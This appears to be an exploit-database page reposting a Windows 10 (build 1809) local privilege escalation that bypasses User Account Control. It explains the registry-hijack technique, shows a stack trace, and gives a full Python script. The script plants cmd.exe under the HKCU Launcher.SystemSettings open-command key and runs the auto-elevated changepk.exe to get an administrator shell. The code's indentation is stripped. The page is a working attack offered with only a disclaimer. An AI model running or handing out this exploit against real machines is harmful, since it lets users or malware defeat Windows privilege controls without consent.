Microsoft windows 10 build 1809 local privilege escalation (uac bypass) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-01-13 | Type : local | Platform : windows
This exploit / vulnerability Microsoft windows 10 build 1809 local privilege escalation (uac bypass) is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Microsoft Windows 10 - Local Privilege Escalation (UAC Bypass)
# Author: Nassim Asrir
# Date: 2019-01-10
# Exploit Author: Nassim Asrir
# CVE: N/A
# Tested On: Windows 10Pro 1809
# Vendor : https://www.microsoft.com

# Technical Details

# I discovered a Local Privilege Escalation in Windows 10 (UAC Bypass), via an auto-elevated process.
# The executable is changepk.exe. changepk is used to pass a new product key, you can pass the key also via commandline.
# By executing changepk.exe and tracing the process we can see some RegOpenKey operations that lead to open some non-found Key in the registry (HKCU).
# In our case we can use "HKCU:\Software\Classes\Launcher.SystemSettings\Shell\Open\Command" to spawn our Administrator cmd or to bypass the mmc UAC.

# ntoskrnl.exe ObOpenObjectByNameEx + 0x32db 0xfffff8073106270b C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exe RtlMapGenericMask + 0x2548 0xfffff80731090118 C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exe ObOpenObjectByNameEx + 0x1bd9 0xfffff80731061009 C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exe ObOpenObjectByNameEx + 0x1df 0xfffff8073105f60f C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exe SeCaptureSubjectContextEx + 0x7c8 0xfffff8073105dc98 C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exe SeCaptureSubjectContextEx + 0x51f 0xfffff8073105d9ef C:\WINDOWS\system32\ntoskrnl.exe
# ntoskrnl.exe setjmpex + 0x78e5 0xfffff80730bd9c05 C:\WINDOWS\system32\ntoskrnl.exe
# ntdll.dll ZwOpenKeyEx + 0x14 0x7ff877501a94 C:\Windows\System32\ntdll.dll
# KernelBase.dll RegEnumKeyExW + 0x4c5 0x7ff874161655 C:\Windows\System32\KernelBase.dll
# KernelBase.dll MapPredefinedHandleInternal + 0xca5 0x7ff874162fb5 C:\Windows\System32\KernelBase.dll
# KernelBase.dll RegOpenKeyExInternalW + 0x141 0x7ff874161fa1 C:\Windows\System32\KernelBase.dll
# KernelBase.dll RegOpenKeyExW + 0x19 0x7ff874161e49 C:\Windows\System32\KernelBase.dll
# SHCore.dll SHGetValueW + 0x8c 0x7ff87469bfcc C:\Windows\System32\SHCore.dll
# shell32.dll Ordinal790 + 0xb282 0x7ff87532fd22 C:\Windows\System32\shell32.dll
# shell32.dll Ordinal790 + 0xad56 0x7ff87532f7f6 C:\Windows\System32\shell32.dll
# shell32.dll SHChangeNotification_Lock + 0x2b8 0x7ff8753a2a58 C:\Windows\System32\shell32.dll
# shell32.dll Ordinal790 + 0xb0cb 0x7ff87532fb6b C:\Windows\System32\shell32.dll
# shell32.dll Ordinal790 + 0xa254 0x7ff87532ecf4 C:\Windows\System32\shell32.dll
# shell32.dll Ordinal790 + 0xa7c6 0x7ff87532f266 C:\Windows\System32\shell32.dll
# shell32.dll Shell_NotifyIconW + 0x1695 0x7ff875349c75 C:\Windows\System32\shell32.dll
# shell32.dll SHGetFileInfoW + 0x18a5 0x7ff87536a8c5 C:\Windows\System32\shell32.dll
# shell32.dll SignalFileOpen + 0x33b 0x7ff8753a140b C:\Windows\System32\shell32.dll
# shell32.dll SignalFileOpen + 0x25b 0x7ff8753a132b C:\Windows\System32\shell32.dll
# shell32.dll Ordinal99 + 0x9c6 0x7ff87534ff96 C:\Windows\System32\shell32.dll
# shell32.dll SHGetSpecialFolderLocation + 0x28e 0x7ff8753bac5e C:\Windows\System32\shell32.dll
# SHCore.dll Ordinal233 + 0x3c5 0x7ff8746ac315 C:\Windows\System32\SHCore.dll
# kernel32.dll BaseThreadInitThunk + 0x14 0x7ff875087974 C:\Windows\System32\kernel32.dll
# ntdll.dll RtlUserThreadStart + 0x21 0x7ff8774ca271 C:\Windows\System32\ntdll.dll


# Exploit
# To exploit the vulnerability you can use this python code then execute it and you will get the Windows Activation just click Yes and you will redirect the execution to cmd.exe.

# -*- coding: utf-8 -*-
import os
import sys
import ctypes
import _winreg
import time

print "Creating Registry Key ....."
print ""
time.sleep(3)
def create_reg_key(key, value):

try:
_winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\Launcher.SystemSettings\Shell\Open\Command')
registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\Launcher.SystemSettings\Shell\Open\Command', 0, _winreg.KEY_WRITE)
_winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)
_winreg.CloseKey(registry_key)
except WindowsError:
raise

print "Registry Key Created :)"
print ""
print "Inserting the command ...."
time.sleep(3)
print ""
def exec_bypass_uac(cmd):
try:
create_reg_key('DelegateExecute', '')
create_reg_key(None, cmd)
except WindowsError:
raise

def bypass_uac():
try:
current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
cmd = "C:\windows\System32\cmd.exe"
exec_bypass_uac(cmd)
os.system(r'C:\windows\system32\changepk.exe')
return 1
except WindowsError:
sys.exit(1)

if __name__ == '__main__':

if bypass_uac():
print "Good job you got your Administrator cmd :)"


# Don't Fogot: reg delete "HKCU\Software\Classes\Launcher.SystemSettings\Shell\Open\Command" /f